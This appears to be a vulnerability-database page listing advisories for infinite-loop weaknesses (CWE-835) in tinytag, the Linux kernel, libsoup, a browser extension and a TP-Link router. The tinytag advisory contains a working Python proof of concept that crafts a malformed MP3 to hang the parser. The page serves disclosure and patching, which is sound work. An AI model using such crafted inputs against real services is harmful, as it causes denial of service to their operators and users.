Common Weakness Enumeration

CWE-835

Allowed

Loop with Unreachable Exit Condition ('Infinite Loop')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

1052 vulnerabilities reference this CWE, most recent first.

GHSA-F4RQ-2259-HV29

Vulnerability from github – Published: 2026-03-19 17:25 – Updated: 2026-03-20 21:20
VLAI
Summary
Denial of service via non-terminating SYLT frame parsing loop in tinytag
Details

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

  • MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
  • Python 3.14.3
  • Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
  • Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

  • https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
  • https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tinytag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:25:59Z",
    "nvd_published_at": "2026-03-20T03:15:59Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b\u0027\\x00\u0027, start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip(\u0027\\n\u0027)\n    offset = end_pos\n    time = unpack(\u0027\u003eI\u0027, content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b\u0027\\x00\\x00\u0027` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in \u0027other.lyrics\u0027 (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a",
  "id": "GHSA-f4rq-2259-hv29",
  "modified": "2026-03-20T21:20:19Z",
  "published": "2026-03-19T17:25:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinytag/tinytag"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service via non-terminating SYLT frame parsing loop in tinytag"
}

GHSA-F5XV-CJM8-337G

Vulnerability from github – Published: 2026-04-24 15:32 – Updated: 2026-04-27 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

wifi: wlcore: Return -ENOMEM instead of -EAGAIN if there is not enough headroom

Since upstream commit e75665dd0968 ("wifi: wlcore: ensure skb headroom before skb_push"), wl1271_tx_allocate() and with it wl1271_prepare_tx_frame() returns -EAGAIN if pskb_expand_head() fails. However, in wlcore_tx_work_locked(), a return value of -EAGAIN from wl1271_prepare_tx_frame() is interpreted as the aggregation buffer being full. This causes the code to flush the buffer, put the skb back at the head of the queue, and immediately retry the same skb in a tight while loop.

Because wlcore_tx_work_locked() holds wl->mutex, and the retry happens immediately with GFP_ATOMIC, this will result in an infinite loop and a CPU soft lockup. Return -ENOMEM instead so the packet is dropped and the loop terminates.

The problem was found by an experimental code review agent based on gemini-3.1-pro while reviewing backports into v6.18.y.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-31552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-24T15:16:29Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wlcore: Return -ENOMEM instead of -EAGAIN if there is not enough headroom\n\nSince upstream commit e75665dd0968 (\"wifi: wlcore: ensure skb headroom\nbefore skb_push\"), wl1271_tx_allocate() and with it\nwl1271_prepare_tx_frame() returns -EAGAIN if pskb_expand_head() fails.\nHowever, in wlcore_tx_work_locked(), a return value of -EAGAIN from\nwl1271_prepare_tx_frame() is interpreted as the aggregation buffer being\nfull. This causes the code to flush the buffer, put the skb back at the\nhead of the queue, and immediately retry the same skb in a tight while\nloop.\n\nBecause wlcore_tx_work_locked() holds wl-\u003emutex, and the retry happens\nimmediately with GFP_ATOMIC, this will result in an infinite loop and a\nCPU soft lockup. Return -ENOMEM instead so the packet is dropped and\nthe loop terminates.\n\nThe problem was found by an experimental code review agent based on\ngemini-3.1-pro while reviewing backports into v6.18.y.",
  "id": "GHSA-f5xv-cjm8-337g",
  "modified": "2026-04-27T15:30:42Z",
  "published": "2026-04-24T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31552"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/12f9eef39e49716c763714bfda835a733d5f6dea"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/46c670ff1ff466e5eccb3940f726586473dc053c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/980f793645540ca7a6318165cc12f49d5febeb99"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a6dc74209462c4fe5a88718d2f3a5286886081c8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ceb46b40b021d21911ff8608ce4ed33c1264ad2f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cfa64e2b3717be1da7c4c1aff7268a009e8c1610"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/deb353d9bb009638b7762cae2d0b6e8fdbb41a69"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f2c06d718a7b85cbc59ceaa2ff3f46b178ac709c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F688-VQ7P-P658

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2025-03-17 15:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

PM / devfreq: Synchronize devfreq_monitor_[start/stop]

There is a chance if a frequent switch of the governor done in a loop result in timer list corruption where timer cancel being done from two place one from cancel_delayed_work_sync() and followed by expire_timers() can be seen from the traces[1].

while true do echo "simple_ondemand" > /sys/class/devfreq/1d84000.ufshc/governor echo "performance" > /sys/class/devfreq/1d84000.ufshc/governor done

It looks to be issue with devfreq driver where device_monitor_[start/stop] need to synchronized so that delayed work should get corrupted while it is either being queued or running or being cancelled.

Let's use polling flag and devfreq lock to synchronize the queueing the timer instance twice and work data being corrupted.

[1] ... .. -0 [003] 9436.209662: timer_cancel timer=0xffffff80444f0428 -0 [003] 9436.209664: timer_expire_entry timer=0xffffff80444f0428 now=0x10022da1c function=__typeid__ZTSFvP10timer_listE_global_addr baseclk=0x10022da1c -0 [003] 9436.209718: timer_expire_exit timer=0xffffff80444f0428 kworker/u16:6-14217 [003] 9436.209863: timer_start timer=0xffffff80444f0428 function=__typeid__ZTSFvP10timer_listE_global_addr expires=0x10022da2b now=0x10022da1c flags=182452227 vendor.xxxyyy.ha-1593 [004] 9436.209888: timer_cancel timer=0xffffff80444f0428 vendor.xxxyyy.ha-1593 [004] 9436.216390: timer_init timer=0xffffff80444f0428 vendor.xxxyyy.ha-1593 [004] 9436.216392: timer_start timer=0xffffff80444f0428 function=__typeid__ZTSFvP10timer_listE_global_addr expires=0x10022da2c now=0x10022da1d flags=186646532 vendor.xxxyyy.ha-1593 [005] 9436.220992: timer_cancel timer=0xffffff80444f0428 xxxyyyTraceManag-7795 [004] 9436.261641: timer_cancel timer=0xffffff80444f0428

[2]

9436.261653][ C4] Unable to handle kernel paging request at virtual address dead00000000012a [ 9436.261664][ C4] Mem abort info: [ 9436.261666][ C4] ESR = 0x96000044 [ 9436.261669][ C4] EC = 0x25: DABT (current EL), IL = 32 bits [ 9436.261671][ C4] SET = 0, FnV = 0 [ 9436.261673][ C4] EA = 0, S1PTW = 0 [ 9436.261675][ C4] Data abort info: [ 9436.261677][ C4] ISV = 0, ISS = 0x00000044 [ 9436.261680][ C4] CM = 0, WnR = 1 [ 9436.261682][ C4] [dead00000000012a] address between user and kernel address ranges [ 9436.261685][ C4] Internal error: Oops: 96000044 [#1] PREEMPT SMP [ 9436.261701][ C4] Skip md ftrace buffer dump for: 0x3a982d0 ...

[ 9436.262138][ C4] CPU: 4 PID: 7795 Comm: TraceManag Tainted: G S W O 5.10.149-android12-9-o-g17f915d29d0c #1 [ 9436.262141][ C4] Hardware name: Qualcomm Technologies, Inc. (DT) [ 9436.262144][ C4] pstate: 22400085 (nzCv daIf +PAN -UAO +TCO BTYPE=--) [ 9436.262161][ C4] pc : expire_timers+0x9c/0x438 [ 9436.262164][ C4] lr : expire_timers+0x2a4/0x438 [ 9436.262168][ C4] sp : ffffffc010023dd0 [ 9436.262171][ C4] x29: ffffffc010023df0 x28: ffffffd0636fdc18 [ 9436.262178][ C4] x27: ffffffd063569dd0 x26: ffffffd063536008 [ 9436.262182][ C4] x25: 0000000000000001 x24: ffffff88f7c69280 [ 9436.262185][ C4] x23: 00000000000000e0 x22: dead000000000122 [ 9436.262188][ C4] x21: 000000010022da29 x20: ffffff8af72b4e80 [ 9436.262191][ C4] x19: ffffffc010023e50 x18: ffffffc010025038 [ 9436.262195][ C4] x17: 0000000000000240 x16: 0000000000000201 [ 9436.262199][ C4] x15: ffffffffffffffff x14: ffffff889f3c3100 [ 9436.262203][ C4] x13: ffffff889f3c3100 x12: 00000000049f56b8 [ 9436.262207][ C4] x11: 00000000049f56b8 x10: 00000000ffffffff [ 9436.262212][ C4] x9 : ffffffc010023e50 x8 : dead000000000122 [ 9436.262216][ C4] x7 : ffffffffffffffff x6 : ffffffc0100239d8 [ 9436.262220][ C4] x5 : 0000000000000000 x4 : 0000000000000101 [ 9436.262223][ C4] x3 : 0000000000000080 x2 : ffffff8 ---truncated---

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-02T07:15:41Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nPM / devfreq: Synchronize devfreq_monitor_[start/stop]\n\nThere is a chance if a frequent switch of the governor\ndone in a loop result in timer list corruption where\ntimer cancel being done from two place one from\ncancel_delayed_work_sync() and followed by expire_timers()\ncan be seen from the traces[1].\n\nwhile true\ndo\n        echo \"simple_ondemand\" \u003e /sys/class/devfreq/1d84000.ufshc/governor\n        echo \"performance\" \u003e /sys/class/devfreq/1d84000.ufshc/governor\ndone\n\nIt looks to be issue with devfreq driver where\ndevice_monitor_[start/stop] need to synchronized so that\ndelayed work should get corrupted while it is either\nbeing queued or running or being cancelled.\n\nLet\u0027s use polling flag and devfreq lock to synchronize the\nqueueing the timer instance twice and work data being\ncorrupted.\n\n[1]\n...\n..\n\u003cidle\u003e-0    [003]   9436.209662:  timer_cancel   timer=0xffffff80444f0428\n\u003cidle\u003e-0    [003]   9436.209664:  timer_expire_entry   timer=0xffffff80444f0428  now=0x10022da1c  function=__typeid__ZTSFvP10timer_listE_global_addr  baseclk=0x10022da1c\n\u003cidle\u003e-0    [003]   9436.209718:  timer_expire_exit   timer=0xffffff80444f0428\nkworker/u16:6-14217    [003]   9436.209863:  timer_start   timer=0xffffff80444f0428  function=__typeid__ZTSFvP10timer_listE_global_addr  expires=0x10022da2b  now=0x10022da1c  flags=182452227\nvendor.xxxyyy.ha-1593    [004]   9436.209888:  timer_cancel   timer=0xffffff80444f0428\nvendor.xxxyyy.ha-1593    [004]   9436.216390:  timer_init   timer=0xffffff80444f0428\nvendor.xxxyyy.ha-1593    [004]   9436.216392:  timer_start   timer=0xffffff80444f0428  function=__typeid__ZTSFvP10timer_listE_global_addr  expires=0x10022da2c  now=0x10022da1d  flags=186646532\nvendor.xxxyyy.ha-1593    [005]   9436.220992:  timer_cancel   timer=0xffffff80444f0428\nxxxyyyTraceManag-7795    [004]   9436.261641:  timer_cancel   timer=0xffffff80444f0428\n\n[2]\n\n 9436.261653][    C4] Unable to handle kernel paging request at virtual address dead00000000012a\n[ 9436.261664][    C4] Mem abort info:\n[ 9436.261666][    C4]   ESR = 0x96000044\n[ 9436.261669][    C4]   EC = 0x25: DABT (current EL), IL = 32 bits\n[ 9436.261671][    C4]   SET = 0, FnV = 0\n[ 9436.261673][    C4]   EA = 0, S1PTW = 0\n[ 9436.261675][    C4] Data abort info:\n[ 9436.261677][    C4]   ISV = 0, ISS = 0x00000044\n[ 9436.261680][    C4]   CM = 0, WnR = 1\n[ 9436.261682][    C4] [dead00000000012a] address between user and kernel address ranges\n[ 9436.261685][    C4] Internal error: Oops: 96000044 [#1] PREEMPT SMP\n[ 9436.261701][    C4] Skip md ftrace buffer dump for: 0x3a982d0\n...\n\n[ 9436.262138][    C4] CPU: 4 PID: 7795 Comm: TraceManag Tainted: G S      W  O      5.10.149-android12-9-o-g17f915d29d0c #1\n[ 9436.262141][    C4] Hardware name: Qualcomm Technologies, Inc.  (DT)\n[ 9436.262144][    C4] pstate: 22400085 (nzCv daIf +PAN -UAO +TCO BTYPE=--)\n[ 9436.262161][    C4] pc : expire_timers+0x9c/0x438\n[ 9436.262164][    C4] lr : expire_timers+0x2a4/0x438\n[ 9436.262168][    C4] sp : ffffffc010023dd0\n[ 9436.262171][    C4] x29: ffffffc010023df0 x28: ffffffd0636fdc18\n[ 9436.262178][    C4] x27: ffffffd063569dd0 x26: ffffffd063536008\n[ 9436.262182][    C4] x25: 0000000000000001 x24: ffffff88f7c69280\n[ 9436.262185][    C4] x23: 00000000000000e0 x22: dead000000000122\n[ 9436.262188][    C4] x21: 000000010022da29 x20: ffffff8af72b4e80\n[ 9436.262191][    C4] x19: ffffffc010023e50 x18: ffffffc010025038\n[ 9436.262195][    C4] x17: 0000000000000240 x16: 0000000000000201\n[ 9436.262199][    C4] x15: ffffffffffffffff x14: ffffff889f3c3100\n[ 9436.262203][    C4] x13: ffffff889f3c3100 x12: 00000000049f56b8\n[ 9436.262207][    C4] x11: 00000000049f56b8 x10: 00000000ffffffff\n[ 9436.262212][    C4] x9 : ffffffc010023e50 x8 : dead000000000122\n[ 9436.262216][    C4] x7 : ffffffffffffffff x6 : ffffffc0100239d8\n[ 9436.262220][    C4] x5 : 0000000000000000 x4 : 0000000000000101\n[ 9436.262223][    C4] x3 : 0000000000000080 x2 : ffffff8\n---truncated---",
  "id": "GHSA-f688-vq7p-p658",
  "modified": "2025-03-17T15:31:37Z",
  "published": "2024-04-02T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52635"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/099f6a9edbe30b142c1d97fe9a4748601d995675"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0aedb319ef3ed39e9e5a7b7726c8264ca627bbd9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/31569995fc65007b73a3fff605ec2b3401b435e9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3399cc7013e761fee9d6eec795e9b31ab0cbe475"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ae815e2fdc284ab31651d52460698bd89c0fce22"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aed5ed595960c6d301dcd4ed31aeaa7a8054c0c6"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6C4-GHC3-JW9F

Vulnerability from github – Published: 2023-04-17 21:30 – Updated: 2023-04-17 21:30
VLAI
Details

A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.

Severity
2.8 (Low)
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-10103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T19:15:07Z",
    "severity": "LOW"
  },
  "details": "A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.",
  "id": "GHSA-f6c4-ghc3-jw9f",
  "modified": "2023-04-17T21:30:18Z",
  "published": "2023-04-17T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10103"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/commit/adf0c7fd59b9c935b4fd675c556265620124999c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/releases/tag/1.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.226119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.226119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6QG-RG6J-CXGF

Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2025-11-04 00:32
VLAI
Details

GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-52532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:20Z",
    "severity": "HIGH"
  },
  "details": "GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.",
  "id": "GHSA-f6qg-rg6j-cxgf",
  "modified": "2025-11-04T00:32:02Z",
  "published": "2024-11-11T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52532"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/391"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/410"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/Teams/Releng/security/-/wikis/home"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F72F-2CVP-G7X5

Vulnerability from github – Published: 2022-07-08 00:00 – Updated: 2022-07-19 00:00
VLAI
Details

An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.

Severity
7.5 (High)
